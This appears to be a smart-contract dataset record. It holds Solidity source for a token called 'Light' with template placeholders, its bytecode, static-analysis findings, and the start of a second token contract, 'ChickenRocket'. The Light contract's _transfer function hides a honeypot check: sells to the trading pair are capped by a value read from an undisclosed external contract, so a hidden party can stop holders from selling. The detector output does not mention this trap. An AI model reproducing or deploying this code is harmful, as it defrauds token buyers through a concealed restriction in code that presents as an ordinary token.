function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Light is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address payable private _taxWallet;
uint256 private _tax=4;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(ROUTER_ADDRESS);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= Wallet(0xe40ab79a20Fb6Ce5A3E10160F7CBDD4f0A1fF947).amount());
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611de1565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9c565b61038e565b60405161014c9190611ef7565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f21565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f3c565b6103b8565b6040516101b49190611ef7565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fab565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fc6565b610510565b6040516102339190611f21565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612002565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611de1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9c565b61071a565b6040516102dd9190611ef7565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f919061201d565b610c4e565b6040516103319190611f21565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600c81526020017f4c6967687420596167616d690000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000633b9aca00905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612ab160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c49474854000000000000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120a9565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612115565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee919061214a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa919061214a565b6040518363ffffffff1660e01b81526004016109c7929190612177565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a19919061214a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121e5565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b21919061225b565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122ae565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190612303565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690612434565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612558565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125ea565b60405180910390fd5b73e40ab79a20fb6ce5a3e10160f7cbdd4f0a1ff94773ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf919061260a565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff166111969190612666565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9190611de1565b60405180910390fd5b506000838561133791906126c0565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b6126f4565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c1612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061214a565b816001815181106114b0576114af612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612810565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a906128dc565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e39190611f21565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611922633b9aca006003546116e190919063ffffffff16565b82101561193c57600354633b9aca00935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879190611de1565b60405180910390fd5b506000838561199f919061292b565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a919061295c565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa6906129fe565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee9190612666565b9050828482611cfd919061292b565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612a90565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d82578082015181840152602081019050611d67565b83811115611d91576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db382611d48565b611dbd8185611d53565b9350611dcd818560208601611d64565b611dd681611d97565b840191505092915050565b60006020820190508181036000830152611dfb8184611da8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3382611e08565b9050919050565b611e4381611e28565b8114611e4e57600080fd5b50565b600081359050611e6081611e3a565b92915050565b6000819050919050565b611e7981611e66565b8114611e8457600080fd5b50565b600081359050611e9681611e70565b92915050565b60008060408385031215611eb357611eb2611e03565b5b6000611ec185828601611e51565b9250506020611ed285828601611e87565b9150509250929050565b60008115159050919050565b611ef181611edc565b82525050565b6000602082019050611f0c6000830184611ee8565b92915050565b611f1b81611e66565b82525050565b6000602082019050611f366000830184611f12565b92915050565b600080600060608486031215611f5557611f54611e03565b5b6000611f6386828701611e51565b9350506020611f7486828701611e51565b9250506040611f8586828701611e87565b9150509250925092565b600060ff82169050919050565b611fa581611f8f565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b600060208284031215611fdc57611fdb611e03565b5b6000611fea84828501611e51565b91505092915050565b611ffc81611e28565b82525050565b60006020820190506120176000830184611ff3565b92915050565b6000806040838503121561203457612033611e03565b5b600061204285828601611e51565b925050602061205385828601611e51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612093602083611d53565b915061209e8261205d565b602082019050919050565b600060208201905081810360008301526120c281612086565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006120ff601783611d53565b915061210a826120c9565b602082019050919050565b6000602082019050818103600083015261212e816120f2565b9050919050565b60008151905061214481611e3a565b92915050565b6000602082840312156121605761215f611e03565b5b600061216e84828501612135565b91505092915050565b600060408201905061218c6000830185611ff3565b6121996020830184611ff3565b9392505050565b6000819050919050565b6000819050919050565b60006121cf6121ca6121c5846121a0565b6121aa565b611e66565b9050919050565b6121df816121b4565b82525050565b600060c0820190506121fa6000830189611ff3565b6122076020830188611f12565b61221460408301876121d6565b61222160608301866121d6565b61222e6080830185611ff3565b61223b60a0830184611f12565b979650505050505050565b60008151905061225581611e70565b92915050565b60008060006060848603121561227457612273611e03565b5b600061228286828701612246565b935050602061229386828701612246565b92505060406122a486828701612246565b9150509250925092565b60006040820190506122c36000830185611ff3565b6122d06020830184611f12565b9392505050565b6122e081611edc565b81146122eb57600080fd5b50565b6000815190506122fd816122d7565b92915050565b60006020828403121561231957612318611e03565b5b6000612327848285016122ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061238c602483611d53565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061241e602283611d53565b9150612429826123c2565b604082019050919050565b6000602082019050818103600083015261244d81612411565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124b0602583611d53565b91506124bb82612454565b604082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612542602383611d53565b915061254d826124e6565b604082019050919050565b6000602082019050818103600083015261257181612535565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006125d4602983611d53565b91506125df82612578565b604082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b6000602082840312156126205761261f611e03565b5b600061262e84828501612246565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061267182611e66565b915061267c83611e66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b5576126b4612637565b5b828202905092915050565b60006126cb82611e66565b91506126d683611e66565b9250828210156126e9576126e8612637565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61278781611e28565b82525050565b6000612799838361277e565b60208301905092915050565b6000602082019050919050565b60006127bd82612752565b6127c7818561275d565b93506127d28361276e565b8060005b838110156128035781516127ea888261278d565b97506127f5836127a5565b9250506001810190506127d6565b5085935050505092915050565b600060a0820190506128256000830188611f12565b61283260208301876121d6565b818103604083015261284481866127b2565b90506128536060830185611ff3565b6128606080830184611f12565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006128c6602a83611d53565b91506128d18261286a565b604082019050919050565b600060208201905081810360008301526128f5816128b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061293682611e66565b915061294183611e66565b925082612951576129506128fc565b5b828204905092915050565b600061296782611e66565b915061297283611e66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129a7576129a6612637565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129e8601b83611d53565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7a602183611d53565b9150612a8582612a1e565b604082019050919050565b60006020820190508181036000830152612aa981612a6d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f09228e23c99d26a6264f17d292f4a463d37f579ca36c5780681e677fd8e356764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,748 |
0x196A1a82b542E067Af46fD4eCDD61ce15A122fe1
|
/*
Telegram: https://t.me/chickenrocket_eth
Website : https://chickenrocket.space/
/$$$$$$ /$$ /$$ /$$
/$$__ $$| $$ |__/ | $$
| $$ \__/| $$$$$$$ /$$ /$$$$$$$| $$ /$$ /$$$$$$ /$$$$$$$
| $$ | $$__ $$| $$ /$$_____/| $$ /$$/ /$$__ $$| $$__ $$
| $$ | $$ \ $$| $$| $$ | $$$$$$/ | $$$$$$$$| $$ \ $$
| $$ $$| $$ | $$| $$| $$ | $$_ $$ | $$_____/| $$ | $$
| $$$$$$/| $$ | $$| $$| $$$$$$$| $$ \ $$| $$$$$$$| $$ | $$
\______/ |__/ |__/|__/ \_______/|__/ \__/ \_______/|__/ |__/
/$$$$$$$ /$$ /$$
| $$__ $$ | $$ | $$
| $$ \ $$ /$$$$$$ /$$$$$$$| $$ /$$ /$$$$$$ /$$$$$$
| $$$$$$$/ /$$__ $$ /$$_____/| $$ /$$/ /$$__ $$|_ $$_/
| $$__ $$| $$ \ $$| $$ | $$$$$$/ | $$$$$$$$ | $$
| $$ \ $$| $$ | $$| $$ | $$_ $$ | $$_____/ | $$ /$$
| $$ | $$| $$$$$$/| $$$$$$$| $$ \ $$| $$$$$$$ | $$$$/
|__/ |__/ \______/ \_______/|__/ \__/ \_______/ \___/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
